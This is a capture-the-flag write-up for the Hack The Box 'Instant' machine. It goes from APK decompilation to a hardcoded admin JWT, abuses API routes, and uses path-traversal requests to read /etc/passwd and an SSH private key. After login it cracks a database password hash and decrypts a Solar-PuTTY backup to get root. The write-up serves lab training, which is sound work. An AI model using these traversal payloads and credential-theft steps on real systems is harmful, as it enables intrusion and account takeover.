Hack The Box / LINUX / 2026-03-27
Hack The Box — Instant (Linux)
APK analysis reveals admin JWT and API routes, then IDOR/LFI to steal shirohige SSH key and password recovery through DB hash + Solar-PuTTY credential decryption for root.
Target
- IP:
10.10.11.37
Recon
sudo nmap -sC -sV 10.10.11.37 -p- -T5 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://instant.htb/
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add instant.htb to /etc/hosts.
Go to http://instant.htb.
We can download an APK.
APK Analysis
apktool d instant.apk -o test
cd test
grep -nriE 'instant.htb' .
We get these subdomains:
mywalletv1.instant.htbswagger-ui.instant.htb
Add them to /etc/hosts.
d2j-dex2jar instant.apk
This generates a JAR.
Open it with jd-gui.
We notice MainActivity is empty.
In LoginActivity.java we see the virtual host mywalletv1.instant.htb.
Install Android x86 in a VM.
# In the Android VM
# CTRL+ALT+F1
ip a
Note the IP and connect/install from attacker host:
adb connect <ip>
adb install instant.apk
When opening the app there is a blank screen, consistent with empty MainActivity.
In adminactivity code we find:
(new OkHttpClient()).newCall((new Request.Builder()).url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() {
API Interaction
curl 'http://mywalletv1.instant.htb/api/v1/view/profile' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA'
curl 'http://mywalletv1.instant.htb/api/v1/initiate/transaction' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA'
curl -X POST 'http://mywalletv1.instant.htb/api/v1/register' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' -H 'Content-Type: application/json' -d '{"username":"test12","email":"test12@test.com","password":"test12","pin":"12345"}'
curl -X POST 'http://mywalletv1.instant.htb/api/v1/login' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' -H 'Content-Type: application/json' -d '{"username":"test12","password":"test12"}'
{"Access-Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6IjMyZDUyMjFjLWZiZDAtNDUzYi1hZTE5LTA1ZDc2NGFkMGU4YyIsImV4cCI6MTcyOTYyOTYzNX0.wwLujcj1k55_8llvNQrX3OUGIA3wH5sBQ317gfiV8b4","Status":201}
curl 'http://mywalletv1.instant.htb/api/v1/view/profile' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6IjMyZDUyMjFjLWZiZDAtNDUzYi1hZTE5LTA1ZDc2NGFkMGU4YyIsImV4cCI6MTcyOTYyOTYzNX0.wwLujcj1k55_8llvNQrX3OUGIA3wH5sBQ317gfiV8b4'
{"Profile":{"account_status":"active","email":"test12@test.com","invite_token":"test12_tes","role":"instantian","username":"test12","wallet_balance":"0","wallet_id":"32d5221c-fbd0-453b-ae19-05d764ad0e8c"},"Status":200}
curl -X POST 'http://mywalletv1.instant.htb/api/v1/initiate/transaction' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' -H 'Content-Type: application/json' -d '{"receiver":"32d5221c-fbd0-453b-ae19-05d764ad0e8c","amount":"3","note":"aaaaaa"}'
curl -X POST 'http://mywalletv1.instant.htb/api/v1/confirm/pin' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' -H 'Content-Type: application/json' -d '{"pin":"12345"}'
It says the PIN is wrong.
We can brute force the PIN.
See attached script attachments/brute_pin.py.
python3 attachments/brute_pin.py
We get the admin PIN: 87348.
curl -X POST 'http://mywalletv1.instant.htb/api/v1/confirm/pin' -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' -H 'Content-Type: application/json' -d '{"pin":"87348"}'
We get internal server error.
Go to http://swagger-ui.instant.htb/.
Use Authorize with admin token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA
Try GET /api/v1/admin/list/users.
{
"Status": 200,
"Users": [
{
"email": "admin@instant.htb",
"role": "Admin",
"secret_pin": 87348,
"status": "active",
"username": "instantAdmin",
"wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
},
{
"email": "shirohige@instant.htb",
"role": "instantian",
"secret_pin": 42845,
"status": "active",
"username": "shirohige",
"wallet_id": "458715c9-b15e-467b-8a3d-97bc3fcf3c11"
},
{
"email": "test12@test.com",
"role": "instantian",
"secret_pin": 12345,
"status": "active",
"username": "test12",
"wallet_id": "32d5221c-fbd0-453b-ae19-05d764ad0e8c"
},
{
"email": "a",
"role": "instantian",
"secret_pin": 12345,
"status": "active",
"username": "a",
"wallet_id": "3b90e4ef-0648-47aa-b704-d7c5f43c66b3"
},
{
"email": "b",
"role": "instantian",
"secret_pin": 12345,
"status": "active",
"username": "b",
"wallet_id": "7b51f77e-c8ce-4476-be7c-d63f9456c108"
}
]
}
So brute-forcing the PIN was not actually necessary.
Try GET /api/v1/admin/view/logs.
{
"Files": [
"1.log"
],
"Path": "/home/shirohige/logs/",
"Status": 201
}
Try GET /api/v1/admin/read/log with log_file_name=1.log.
The request is:
http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=1.log
Set log_file_name=../../../etc/passwd.
We obtain /etc/passwd and notice user shirohige:
"shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash\n",
Set log_file_name=../../../home/shirohige/.ssh/id_rsa.
We obtain shirohige's private key.
Save it to shirohige_key.
chmod 600 shirohige_key
ssh shirohige@instant.htb -i shirohige_key
User to Root
cd projects/mywallet/Instant-Api/mywallet
cat .env
SECRET_KEY=VeryStrongS3cretKeyY0uC4NTGET
cd
cd projects/mywallet/Instant-Api/mywallet/instance
python3 -m http.server 55555
There is a file instant.db, download it from attacker machine:
wget http://instant.htb:55555/instant.db
sqlite3 instant.db
select * from wallet_users;
1|instantAdmin|admin@instant.htb|f0eca6e5-783a-471d-9d8f-0162cbc900db|pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978|2024-07-23 00:20:52.529887|87348|Admin|active
2|shirohige|shirohige@instant.htb|458715c9-b15e-467b-8a3d-97bc3fcf3c11|pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed|2024-08-08 20:57:47.909667|42845|instantian|active
3|test12|test12@test.com|32d5221c-fbd0-453b-ae19-05d764ad0e8c|pbkdf2:sha256:600000$NMZFENDHm0w1eYgz$730a058696ae5b5f30497a2be61c55d0df30ab2030ac72f2631755459adc6c9d|2024-10-22 19:37:43.261494|12345|instantian|active
4|a|a|3b90e4ef-0648-47aa-b704-d7c5f43c66b3|pbkdf2:sha256:600000$fU4qnq9SK5iFywPj$b14a3fd71cfd766ab4c8a85bdafa2280c418e25e4bcf42aef18fb669a68685d4|2024-10-22 20:01:08.467985|12345|instantian|active
5|b|b|7b51f77e-c8ce-4476-be7c-d63f9456c108|pbkdf2:sha256:600000$10fXTqcIe9VBib4P$01d66cf94a0c8aa4655f60303365342f96766c20863d10ede8a144edb25a7e99|2024-10-22 20:03:50.998760|12345|instantian|active
Useful reference:
- https://github.com/hashcat/hashcat/issues/3205
See attached script attachments/convert_hash.py.
python3 attachments/convert_hash.py
sha256:600000:WW5SZ2puaW0=:yVQajGrUC8Bkl5vERgJQQf+smvL3YnJpcdiignLFUO0=
Put it into hash and crack:
hashcat -a 0 ./hash ./rockyou.txt
We get password: estrella.
sudo -l
Enter password, but it does not work.
cat /opt/backups/Solar-PuTTY/sessions-backup.dat
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd/4PXn3j3wVMVzpNxuKuSJOvv0fzY/ZjendafYt1Tz1VHbH4aHc8LQvRfW6Rn+5uTQEXyp4jE+ad4DuQk2fbm9oCSIbRO3/OKHKXvpO5Gy7db1njW44Ij44xDgcIlmNNm0m4NIo1Mb/2ZBHw/MsFFoq/TGetjzBZQQ/rM7YQI81SNu9z9VVMe1k7q6rDvpz1Ia7JSe6fRsBugW9D8GomWJNnTst7WUvqwzm29dmj7JQwp+OUpoi/j/HONIn4NenBqPn8kYViYBecNk19Leyg6pUh5RwQw8Bq+6/OHfG8xzbv0NnRxtiaK10KYh++n/Y3kC3t+Im/EWF7sQe/syt6U9q2Igq0qXJBF45Ox6XDu0KmfuAXzKBspkEMHP5MyddIz2eQQxzBznsgmXT1fQQHyB7RDnGUgpfvtCZS8oyVvrrqOyzOYl8f/Ct8iGbv/WO/SOfFqSvPQGBZnqC8Id/enZ1DRp02UdefqBejLW9JvV8gTFj94MZpcCb9H+eqj1FirFyp8w03VHFbcGdP+u915CxGAowDglI0UR3aSgJ1XIz9eT1WdS6EGCovk3na0KCz8ziYMBEl+yvDyIbDvBqmga1F+c2LwnAnVHkFeXVua70A4wtk7R3jn8+7h+3Evjc1vbgmnRjIp2sVxnHfUpLSEq4oGp3QK+AgrWXzfky7CaEEEUqpRB6knL8rZCx+Bvw5uw9u81PAkaI9SlY+60mMflf2r6cGbZsfoHCeDLdBSrRdyGVvAP4oY0LAAvLIlFZEqcuiYUZAEgXgUpTi7UvMVKkHRrjfIKLw0NUQsVY4LVRaa3rOAqUDSiOYn9F+Fau2mpfa3c2BZlBqTfL9YbMQhaaWz6VfzcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g=
Useful reference:
- https://voidsec.com/solarputtydecrypt/
On a Windows machine:
- Go to https://github.com/VoidSec/SolarPuttyDecrypt/releases
- Download the tool.
- Put the
sessions-backup.datcontent in a file, for exampleroba.dat.
.\SolarPuttyDecrypt.exe "C:\Users\creat\Downloads\roba.dat" "estrella"
{
"Sessions": [
{
"Id": "066894ee-635c-4578-86d0-d36d4838115b",
"Ip": "10.10.11.37",
"Port": 22,
"ConnectionType": 1,
"SessionName": "Instant",
"Authentication": 0,
"CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
"AuthenticateScript": "00000000-0000-0000-0000-000000000000",
"LastTimeOpen": "0001-01-01T00:00:00",
"OpenCounter": 1,
"SerialLine": null,
"Speed": 0,
"Color": "#FF176998",
"TelnetConnectionWaitSeconds": 1,
"LoggingEnabled": false,
"RemoteDirectory": ""
}
],
"Credentials": [
{
"Id": "452ed919-530e-419b-b721-da76cbe8ed04",
"CredentialsName": "instant-root",
"Username": "root",
"Password": "12**24nzC!r0c%q12",
"PrivateKeyPath": "",
"Passphrase": "",
"PrivateKeyContent": null
}
],
"AuthScript": [],
"Groups": [],
"Tunnels": [],
"LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}
Switch user:
su root
Enter password 12**24nzC!r0c%q12.
We get a shell as root.